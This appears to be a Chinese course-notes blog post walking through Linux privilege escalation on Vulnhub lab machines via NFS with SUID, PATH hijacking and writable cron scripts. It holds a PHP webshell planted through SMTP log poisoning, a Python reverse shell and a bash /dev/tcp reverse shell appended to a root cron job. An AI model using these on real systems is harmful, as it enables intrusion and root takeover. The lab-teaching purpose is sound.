当前位置: 首页 > news >正文

DAY140权限提升-Linux系统权限提升篇VulnhubPATH变量NFS服务Cron任务配合SUID

一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全

NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。

https://www.virtualbox.org/wiki/Downloads

https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/

前提条件:NFS端口服务开启和web或用户权限进行利用

1、信息收集

nmap 192.168.1.6

http://192.168.1.6/file.php?file=/etc/passwd

2、NFS服务利用

showmount -e 192.168.1.6

//用于显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令

mkdir nfs  //本地kali创建一个nfs目录

mount -t nfs 192.168.1.6:/mnt/nfs ./nfs  //把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步

3、配合SUID提权

find / -perm -u=s -type f 2>/dev/null  //查看本地suid权限的文件

两种解决方式:1、找一个与目标版本相似的系统,上传这个系统的find 2、找一个与目标版本相似的系统,自己写一个c语言去调用命令

getroot.c

#include<stdlib.h>

#include<unistd.h>

int main()

{

setuid(0);

system("id");

system("/bin/bash");

}

gcc getroot.c -o getroot

//把getroot.c编译为getroot可执行文件

cp getroot /root/nfs  //复制bash到挂载目录下

chmod +777 getroot //赋予777权限

chmod +s getroot   //赋予suid权限

find / -perm -u=s -type f 2>/dev/null //使用查看当前suid权限看看是否有/mnt/nfs/getroot文件

cd /mnt/nfs     //目标机来到/mnt/nfs目录下

./getroot       //目标机执行getroot文件触发shell

python -c 'import pty; pty.spawn("/bin/bash")'  //python起一个交互式终端

getroot.c

#include<stdlib.h>

#include<unistd.h>

int main()

{

setuid(0);

system("id");

system("whoami");  //whoami就是要执行的命令

}

二、演示案例-Linux系统提权-普通用户-SUID-PATH变量

复现环境:symfonos: 1 ~ VulnHub

前提条件:存在SUID的应用中能执行额外命令加用户权限

1、信息收集

smbclient -L 192.168.139.153

2、权限获取

smbclient //192.168.139.153/anonymous

smbclient //192.168.139.153/helios -U helios

helios \ qwerty

3、漏洞利用

wpscan --url http://192.168.139.153/h3l105/ --plugins-detection aggressive

searchsploit mail masta 1.0  //利用searchsploit搜索mail漏洞或者百度关键字

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

telnet 192.168.139.153 25

MAIL FROM: MALABIS

RCPT TO: helios

data

<?php system($_GET['shell']); ?>

.

QUIT

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4、权限提升

python -c 'import pty;pty.spawn("/bin/bash")'  //python起一个交互终端

find / -perm -u=s -type f 2>/dev/null  //查看当前环境suid

strings /opt/statuscheck  //查看这个文件的内容,寻找有用信息

cd /tmp

echo "/bin/sh" > curl

chmod 777 curl

export PATH=/tmp:$PATH

echo $PATH

/opt/statuscheck

三、演示案例-Linux系统提权-Web&普通用户-Cron计划任务

复现环境:Jarbas: 1 ~ VulnHub

1、信息收集

http://192.168.139.152/access.html

2、权限获取

http://192.168.139.152:8080/

3、权限提升

cat /etc/crontab //查看当前服务器的计划任务

ls -lia /etc/script/CleaningScript.sh  //查看对该任务文件的权限

echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh //把反弹shell命令写进这个文件里

cat /etc/script/CleaningScript.sh   //查看脚本内容

http://www.lryc.cn/news/494985.html

相关文章:

  • HTTPS 的应用数据是如何保证完整性的?
  • Unity ShaderLab 实现3D物体描边
  • SQL进阶——C++与SQL进阶实践
  • AIGC--------AIGC在医疗健康领域的潜力
  • node.js中实现MySQL的增量备份
  • Java线程池提交任务流程底层源码与源码解析
  • 新型大语言模型的预训练与后训练范式,Meta的Llama 3.1语言模型
  • 硬菜3道+馒头
  • YOLO系列论文综述(从YOLOv1到YOLOv11)【第14篇:YOLOv11——在速度和准确性方面具有无与伦比的性能】
  • 【Spring】聊聊@EventListener注解原理
  • LangChain——HTML文本分割 多种文本分割
  • 梯度爆炸与消失
  • 关于扩散方程的解
  • 如何监控Elasticsearch集群状态?
  • 关于音频 DSP 的接口种类以及其应用场景介绍
  • arkTS:持久化储存UI状态的基本用法(PersistentStorage)
  • css—动画
  • YOLO系列论文综述(从YOLOv1到YOLOv11)【第12篇:YOLOv9——可编程梯度信息(PGI)+广义高效层聚合网络(GELAN)】
  • 【ETCD】etcd简单入门之基础操作基于etcdctl进行操作
  • 第六届国际科技创新(IAECST 2024)暨第四届物流系统与交通运输(LSTT 2024)
  • 20241127 给typecho文章编辑附件 添加视频 图片预览
  • vue3使用monaco编辑器(VSCode网页版)
  • Spark优化--开发调优、资源调优、数据倾斜调优和shuffle调优等
  • Day1 生信新手笔记
  • Python的秘密基地--[章节2]Python核心数据结构
  • 【Electron学习笔记(三)】Electron的主进程和渲染进程
  • [免费]SpringBoot+Vue景区订票(购票)系统【论文+源码+SQL脚本】
  • idea_工程与模块管理
  • A02、Java 设计模式优化
  • jdk8没有Buffer.put()